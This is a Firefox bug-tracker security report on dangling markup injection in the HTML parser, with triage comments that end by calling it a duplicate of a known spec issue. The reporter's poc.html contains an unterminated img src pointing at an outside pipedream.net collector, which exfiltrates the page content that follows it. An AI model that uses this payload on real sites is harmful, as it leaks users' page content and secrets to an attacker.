leaking user html content using Dangling Markup injection with an unterminated <IMG src=
Categories
(Core :: DOM: HTML Parser, defect)
Tracking
()
People
(Reporter: pocas.cyber, Unassigned)
References
Details
(Keywords: reporter-external)
Attachments
(1 file)
|
233 bytes,
text/html
|
Details |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Steps to reproduce:
According to CVE-2022-1498, it is reported that if the attacker's URL protocol is upgraded to HTTPS, the patch can be bypassed, leading to the leakage of user HTML content. However, this vulnerability can still be reproduced as-is in FireFox
viersion : 116.0.2
poc.html
<html>
<body>
<img src="http://b89f8f617e7792dc04cbdf2efbd5e0c9.m.pipedream.net/?q=
<!--flag{this_is_secret_value}-->
<script>console.log("hi");</script>
</body>
</html>
- open the poc.html
- check a history of request
Actual results:
The value following the src attribute of the image tag is being sent to a different server.
Expected results:
The value following the src attribute of the image tag is being sent to a different server.
|
||
Updated•2 years ago
|
|
|
||
Comment 1•2 years ago
|
||
I haven't looked into this, but I'm going to change the summary to more or less match the Chrome bug, which is more descriptive.
|
Reporter | |
Comment 2•2 years ago
|
||
Thanks sir. Can i can a bounty if this issue will be patched?
|
|
||
Comment 3•2 years ago
|
||
I'll set the sec-bounty? flag so that it will be considered by the bug bounty committee if the bug is fixed. There's some more information on the bug bounty program here.
|
||
Comment 4•2 years ago
|
||
Chrome's crbug 1297138 from the CVE (leak on upgrade) assumes crbug 680970 was already fixed (prevent dangling markup for <IMG). As far as I can tell, in Firefox this is dangling markup with or without an https upgrade because we never implemented Chrome's non-standard heuristic for this. Or, most likely, for the related bugs covered by https://bugs.chromium.org/p/chromium/issues/detail?id=680969 (I haven't checked, yet).
|
|
||
Updated•2 years ago
|
|
|
Reporter | |
Comment 5•2 years ago
|
||
Yes, The important thing here is that it's not an https upgrade, and misparsing of tags can leak sensitive information.
|
|
||
Comment 6•2 years ago
|
||
Simon: is this dangling markup issue and Chrome's heuristics being discussed as part of the HTML spec? As far as I can tell we're "spec-compliant", but a URL string with a newline in it is pretty darn broken.
|
|
Reporter | |
Comment 7•2 years ago
|
||
I'm not sure if I understood the question well. Chrome thought this was a problem, so they patched it. Because there is a problem with DOM parsing, I think it should be patched like Chrome in case there is a line space after the image tag and there is no ">" character. (personal opinion)
|
|
Reporter | |
Comment 8•2 years ago
|
||
like space ~> newline
| Comment hidden (duplicate) |
| Comment hidden (duplicate) |
| Comment hidden (duplicate) |
|
|
Reporter | |
Comment 12•2 years ago
|
||
Firefox also accepts tags such as video and audio, etc .. for this flaw, as well as image tags.
| Comment hidden (duplicate) |
| Comment hidden (duplicate) |
| Comment hidden (duplicate) |
| Comment hidden (duplicate) |
|
||
Comment 17•2 years ago
|
||
Apologies for the delay, I missed my ni?.
:dveditz, this is discussed in
https://github.com/whatwg/fetch/pull/519
As noted in https://github.com/whatwg/fetch/pull/519#issuecomment-1141140538 , there's an unresolved comment about only applying the mitigation for HTML/SVG attributes that take URLs vs applying it in the URL parser for all URLs.
There's a related issue with target names, see
https://github.com/whatwg/html/pull/9309
My comment about the mitigation not helping for sites that do markup minimization (and thus remove all newlines) is not resolved https://github.com/whatwg/html/pull/9309#issuecomment-1562793337 , but it's unclear if it's possible to address without breaking too much web content (sites use URLs with "<" and expect them to work) or regress URL parser performance (checking for all ASCII whitespace would mean a new branch per character).
| Comment hidden (duplicate) |
|
||
Comment 19•2 years ago
|
||
Simon, does https://github.com/whatwg/html/pull/9309#issuecomment-1562793337 fix this or not? I see you mentioned markup minimization in that PR, but I still wonder if it fixes this?
|
|
Reporter | |
Comment 20•2 years ago
|
||
Is this security report valid?
|
|
||
Comment 21•2 years ago
|
||
Looking at the WhatWG issue, it looks like we have bug 1835157 and bug 1369029 filed on this issue. Or are they the same? Maybe this should be duped to one of those?
|
|
||
Comment 22•2 years ago
|
||
No, URL injection and target name injection are separate.
|
|
||
Comment 23•2 years ago
|
||
Apologies, I commented thinking that one of the bugs were about target name injection.
As far as I can tell this bug is a dup of https://bugzilla.mozilla.org/show_bug.cgi?id=1369029
|
|
||
Comment 24•2 years ago
|
||
(In reply to pocas.cyber from comment #20)
Is this security report valid?
It is correctly describing a "dangling mark-up" issue that is a problem stemming from the specifications. This is a previously known issue.
|
||
Updated•2 years ago
|
Description
•